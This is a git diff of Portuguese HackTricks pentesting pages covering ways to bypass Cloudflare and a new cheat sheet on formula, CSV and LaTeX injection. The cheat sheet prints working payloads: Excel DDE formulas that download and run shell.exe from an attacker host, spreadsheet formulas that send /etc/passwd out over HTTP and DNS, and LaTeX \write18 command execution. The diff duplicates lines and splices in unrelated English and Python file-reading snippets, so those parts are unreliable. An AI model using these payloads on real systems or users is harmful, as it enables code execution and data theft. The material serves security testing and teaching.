for ir in `curl https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | select(.region|test("^us")) | .ip_prefix'`; do
echo "Checking $ir"
prips $ir | hakoriginfinder -h "$DOMAIN"
for ir in `curl https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | select(.region|test("^us")) | .ip_prefix'`; do
echo "Checking $ir"
prips $ir | hakoriginfinder -h "$DOMAIN"
done
```
### Descobrindo o Cloudflare a partir de máquinas AWS
Para uma descrição mais detalhada deste processo, consulte:
Para uma descrição mais detalhada desse processo, consulte:
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
```bash
@ -67,14 +67,34 @@ cat webs.json | jq -r "select((.failed==false) and (.chain_status_codes | length
# Search via Host header
httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.com -threads 250 -random-agent -follow-redirects -o web_checks.json
```
## Bypassar o Cloudflare para fazer scraping
## Bypassando o Cloudflare através do Cloudflare
### Autenticação de Origem Autorizada
Esse mecanismo depende de **certificados SSL do cliente** para autenticar as conexões entre os servidores de proxy reverso do Cloudflare e o servidor de origem, o que é chamado de **mTLS**.
Em vez de configurar seu próprio certificado, o cliente pode simplesmente usar o certificado do Cloudflare para permitir qualquer conexão do Cloudflare, **independentemente do locatário**.
{% hint style="danger" %}
Portanto, um atacante pode simplesmente definir um **domínio no Cloudflare usando o certificado do Cloudflare e apontá-lo** para o endereço IP do domínio da **vítima**. Dessa forma, definindo seu domínio completamente desprotegido, o Cloudflare não protegerá as solicitações enviadas.
{% endhint %}
Mais informações [**aqui**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
### Lista de Permissões de Endereços IP do Cloudflare
Isso irá **rejeitar conexões que não se originam dos** intervalos de endereços IP do **Cloudflare**. Isso também é vulnerável à configuração anterior, onde um atacante simplesmente **aponta seu próprio domínio no Cloudflare** para o endereço IP da **vítima** e a ataca.
Mais informações [**aqui**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
## Bypass do Cloudflare para scraping
### Cache
Às vezes, você só quer ignorar o Cloudflare para fazer scraping da página da web. Existem algumas opções para isso:
Às vezes, você só quer ignorar o Cloudflare para fazer o scraping da página da web. Existem algumas opções para isso:
* Use o cache do Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
* Use outros serviços de cache, como [https://archive.org/web/](https://archive.org/web/)
* Usar o cache do Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
* Usar outros serviços de cache, como [https://archive.org/web/](https://archive.org/web/)
### Solucionadores do Cloudflare
@ -85,34 +105,34 @@ Foram desenvolvidos vários solucionadores do Cloudflare:
* [cloudflare-scrape](https://github.com/Anorov/cloudflare-scrape)
* [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
* [Cloudflare-IUAM-Solver](https://github.com/ninja-beans/cloudflare-iuam-solver)
* [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Arquivado\]
* [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Arquivado]
* [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
### Navegadores Headless Fortificados <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
### Navegadores Headless Reforçados <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
A outra opção é fazer todo o trabalho de scraping com um navegador headless que foi fortificado para parecer um navegador de usuário real:
A outra opção é fazer todo o trabalho de scraping com um navegador headless que foi reforçado para se parecer com um navegador de usuário real:
* **Puppeteer:** O [plugin stealth](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) para [puppeteer](https://github.com/puppeteer/puppeteer).
* **Playwright:** O [plugin stealth](https://www.npmjs.com/package/playwright-stealth) está chegando em breve ao Playwright. Acompanhe os desenvolvimentos [aqui](https://github.com/berstend/puppeteer-extra/issues/454) e [aqui](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
* **Selenium:** O [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) é um patch otimizado do Selenium Chromedriver.
* **Playwright:** O [plugin stealth](https://www.npmjs.com/package/playwright-stealth) está chegando em breve para o Playwright. Acompanhe os desenvolvimentos [aqui](https://github.com/berstend/puppeteer-extra/issues/454) e [aqui](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
* **Selenium:** O [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver), um patch otimizado do Selenium Chromedriver.
### Smart Proxy com Bypass Integrado do Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
### Proxy Inteligente com Bypass Integrado do Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
A alternativa ao uso de bypasses do Cloudflare de código aberto é usar proxies inteligentes que desenvolvem e mantêm seus próprios bypasses privados do Cloudflare.
Esses são tipicamente mais confiáveis, pois é mais difícil para o Cloudflare desenvolver patches para eles, e eles são desenvolvidos por empresas de proxy que são financeiramente motivadas a ficar um passo à frente do Cloudflare e corrigir seus bypasses no momento em que eles param de funcionar.
Esses proxies geralmente são mais confiáveis, pois é mais difícil para o Cloudflare desenvolver correções para eles, e são desenvolvidos por empresas de proxy que têm motivação financeira para ficar um passo à frente do Cloudflare e corrigir seus bypasses assim que pararem de funcionar.
A maioria dos provedores de proxy inteligentes ([ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops), [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops), [Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32), [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb)) têm algum tipo de bypass do Cloudflare que funciona em graus variados e varia em custo.
A maioria dos provedores de proxy inteligentes ([ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops), [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops), [Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32), [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb)) possuem algum tipo de bypass do Cloudflare que funcionam em diferentes graus e variam em custo.
No entanto, uma das melhores opções é usar o [Agregador de Proxy ScrapeOps](https://scrapeops.io/proxy-aggregator/), pois ele integra mais de 20 provedores de proxy na mesma API de proxy e encontra o provedor de proxy melhor e mais barato para seus domínios de destino.
No entanto, uma das melhores opções é usar o [Agregador de Proxy do ScrapeOps](https://scrapeops.io/proxy-aggregator/), pois ele integra mais de 20 provedores de proxy na mesma API de proxy e encontra o provedor de proxy melhor/mais barato para seus domínios de destino.
### Engenharia Reversa da Proteção Anti-Bot do Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
Esta abordagem funciona (e é o que muitas soluções de proxy inteligentes fazem), no entanto, não é para os fracos de coração.
Essa abordagem funciona (e é o que muitas soluções de proxy inteligentes fazem), no entanto, não é para os fracos de coração.
**Vantagens:** A vantagem desta abordagem é que, se você estiver fazendo scraping em grande escala e não quiser executar centenas (se não milhares) de instâncias caras de navegadores headless, poderá desenvolver o bypass do Cloudflare mais eficiente em termos de recursos possível. Um que é projetado exclusivamente para passar nos testes de impressão digital JS, TLS e IP do Cloudflare.
**Vantagens:** A vantagem dessa abordagem é que, se você estiver fazendo scraping em grande escala e não quiser executar centenas (se não milhares) de instâncias caras de navegadores completos sem cabeça, você pode desenvolver o bypass do Cloudflare mais eficiente em termos de recursos possível. Um que seja projetado exclusivamente para passar nos testes de impressão digital do Cloudflare JS, TLS e IP.
**Desvantagens:** As desvantagens desta abordagem são que você terá que mergulhar profundamente em um sistema anti-bot que foi feito de propósito para ser difícil de entender do lado de fora e testar diferentes técnicas para enganar seu sistema de verificação. Em seguida, mantenha este sistema à medida que o Cloudflare continua a desenvolver sua proteção anti-bot.
**Desvantagens:** As desvantagens dessa abordagem são que você terá que mergulhar fundo em um sistema anti-bot que foi propositalmente difícil de entender do lado de fora e testar diferentes técnicas para enganar seu sistema de verificação. Em seguida, manter esse sistema à medida que o Cloudflare continua a desenvolver sua proteção anti-bot.
## Referências
@ -122,10 +142,8 @@ Esta abordagem funciona (e é o que muitas soluções de proxy inteligentes faze
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga** me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -0,0 +1,263 @@
# Injeção de Fórmula/CSV/Doc/LaTeX/GhostScript
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Injeção de Fórmula
### Informações
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de colocar **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
{% hint style="danger" %}
Atualmente, o **Excel irá alertar** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado à carga útil final.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hiperlink
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha final do Excel e realizar solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos de alerta).**
Exemplo retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Vamos supor um cenário de ataque ao sistema de Gerenciamento de Registros de Alunos de uma escola. O aplicativo permite que o professor insira os detalhes dos alunos na escola. O atacante obtém acesso ao aplicativo e deseja comprometer todos os professores que usam o aplicativo. Portanto, o atacante tenta realizar um ataque de injeção de CSV por meio do aplicativo da web.\
O atacante precisa roubar os detalhes de outros alunos. Portanto, o atacante usa a fórmula de Hiperlink e a insere ao inserir os detalhes do aluno.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
Quando o professor exporta o CSV e clica no hiperlink, os dados sensíveis são enviados para o servidor do atacante.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
O arquivo CSV exportado contém uma carga maliciosa nele.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
Os detalhes do aluno são registrados no servidor da web do atacante.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
### RCE
Para que este exemplo funcione, é **necessário ter habilitada a seguinte configuração**:\
Arquivo → Opções → Centro de Confiança → Configurações do Centro de Confiança → Conteúdo Externo → Habilitar Inicialização do Servidor de Troca Dinâmica de Dados\
ou o uso de uma **versão antiga do Excel**.
A boa notícia é que **essa carga é executada automaticamente quando o arquivo é aberto** (se o usuário aceitar os avisos).
É possível executar uma calculadora com a seguinte carga **`=cmd|' /C calc'!xxx`**
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### LFI
**LibreOffice Calc**
* Isso irá ler a primeira linha do arquivo local /etc/passwd: `='file:///etc/passwd'#$passwd.A1`
* Exfiltrar isso: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltrar mais de uma linha: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Exfiltração DNS: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
**Analisando a carga útil de exfiltração DNS:**
* file:///etc/passwd#$passwd.A19 - Irá ler a 19ª linha do arquivo local /etc/passwd
* ENCODEURL('file:///etc/passwd'#$passwd.A19) - Codifica a URL dos dados retornados
* MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41) - Similar a substring, lê dados do 1º caractere ao 41º - uma maneira muito útil de restringir o comprimento dos nomes de host DNS (limite de 254 caracteres para FQDN e 63 caracteres para um rótulo, ou seja, subdomínio)
* SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-") - substitui todas as ocorrências de % (o caractere especial da codificação de URL) por traço - isso garante que apenas caracteres DNS válidos sejam usados
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".\<FQDN>") - Concatena a saída do arquivo (após o processamento acima) com o FQDN (para o qual temos acesso ao host que é autoritativo para o domínio)
* WEBSERVICE - Faz uma solicitação para esse nome DNS inexistente, que podemos então analisar os logs (ou executar tcpdump etc.) no servidor de nomes autoritativo DNS, no qual temos controle
### Google Sheets OOB Data Exfiltration
Primeiramente, vamos apresentar algumas das funções mais interessantes.
**CONCATENATE**: Anexa strings uma à outra.
```
=CONCATENATE(A2:E2)
```
**IMPORTXML**: Importa dados de vários tipos de dados estruturados, incluindo XML, HTML, CSV, TSV e feeds XML RSS e ATOM.
```
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
```
**IMPORTFEED**: Importa um feed RSS ou ATOM.
```
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
```
**IMPORTHTML**: Importa dados de uma tabela ou lista dentro de uma página HTML.
```
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
```
**IMPORTRANGE**: Importa um intervalo de células de uma planilha especificada.
```
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
```
**IMAGEM**: Insere uma imagem em uma célula.
```
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
```
## Injeção de LaTeX
Normalmente, os servidores que encontramos na internet que **convertem código LaTeX em PDF** usam o **`pdflatex`**.\
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
* **`--no-shell-escape`**: **Desabilita** a construção `\write18{command}`, mesmo que esteja habilitada no arquivo texmf.cnf.
* **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de \*\*comandos predefinidos (\*\*No Ubuntu 16.04, a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Habilita** a construção `\write18{command}`. O comando pode ser qualquer comando de shell. Essa construção é normalmente desabilitada por motivos de segurança.
No entanto, existem outras maneiras de executar comandos, então, para evitar RCE, é muito importante usar `--shell-restricted`.
### Ler arquivo <a href="#read-file" id="read-file"></a>
Você pode precisar ajustar a injeção com envoltórios como \[ ou $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Ler arquivo de uma única linha
To read a single-lined file, you can use the following command:
Para ler um arquivo de uma única linha, você pode usar o seguinte comando:
```bash
cat file.txt
```
This command will display the contents of the file on the terminal.
Esse comando exibirá o conteúdo do arquivo no terminal.
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Ler arquivo com várias linhas
To read a file with multiple lines, you can use the following code:
```python
with open('filename.txt', 'r') as file:
lines = file.readlines()
for line in lines:
print(line.strip())
```
This code opens the file `filename.txt` in read mode (`'r'`) and uses the `readlines()` method to read all the lines in the file. It then iterates over each line and prints it after removing any leading or trailing whitespace using the `strip()` method.
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Escrever arquivo <a href="#escrever-arquivo" id="escrever-arquivo"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Execução de comandos <a href="#execução-de-comandos" id="execução-de-comandos"></a>
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-la.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Se você receber algum erro do LaTex, considere usar base64 para obter o resultado sem caracteres inválidos.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Injeção de Ghostscript
TODO: Crie um resumo com as informações e técnicas mais relevantes de [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Referências
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -33,7 +33,7 @@ Atualmente, **aplicações web** geralmente **usam** algum tipo de **proxy inter
{% hint style="info" %}
A maioria das aplicações web permitirá que os usuários insiram alguns dados que serão processados posteriormente.\
Dependendo da estrutura dos dados que o servidor espera, algumas vulnerabilidades podem ou não se aplicar.
Dependendo da estrutura dos dados que o servidor espera, algumas vulnerabilidades podem ou não ser aplicáveis.
{% endhint %}
### **Valores Refletidos**
@ -119,7 +119,7 @@ Funcionalidades que geram arquivos incluindo entrada do usuário podem executar
Usuários que abrem arquivos enviados por usuários ou gerados automaticamente incluindo entrada do usuário podem ser comprometidos.
* [ ] [**Envio de Arquivos**](../file-upload/)
* [ ] [**Injeção de Fórmula**](../formula-doc-latex-injection.md)
* [ ] [**Injeção de Fórmula**](../formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**Injeção de PDF**](../xss-cross-site-scripting/pdf-injection.md)
* [ ] [**XSS do Lado do Servidor**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@ -145,6 +145,6 @@ Essas vulnerabilidades podem ajudar a explorar outras vulnerabilidades.
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>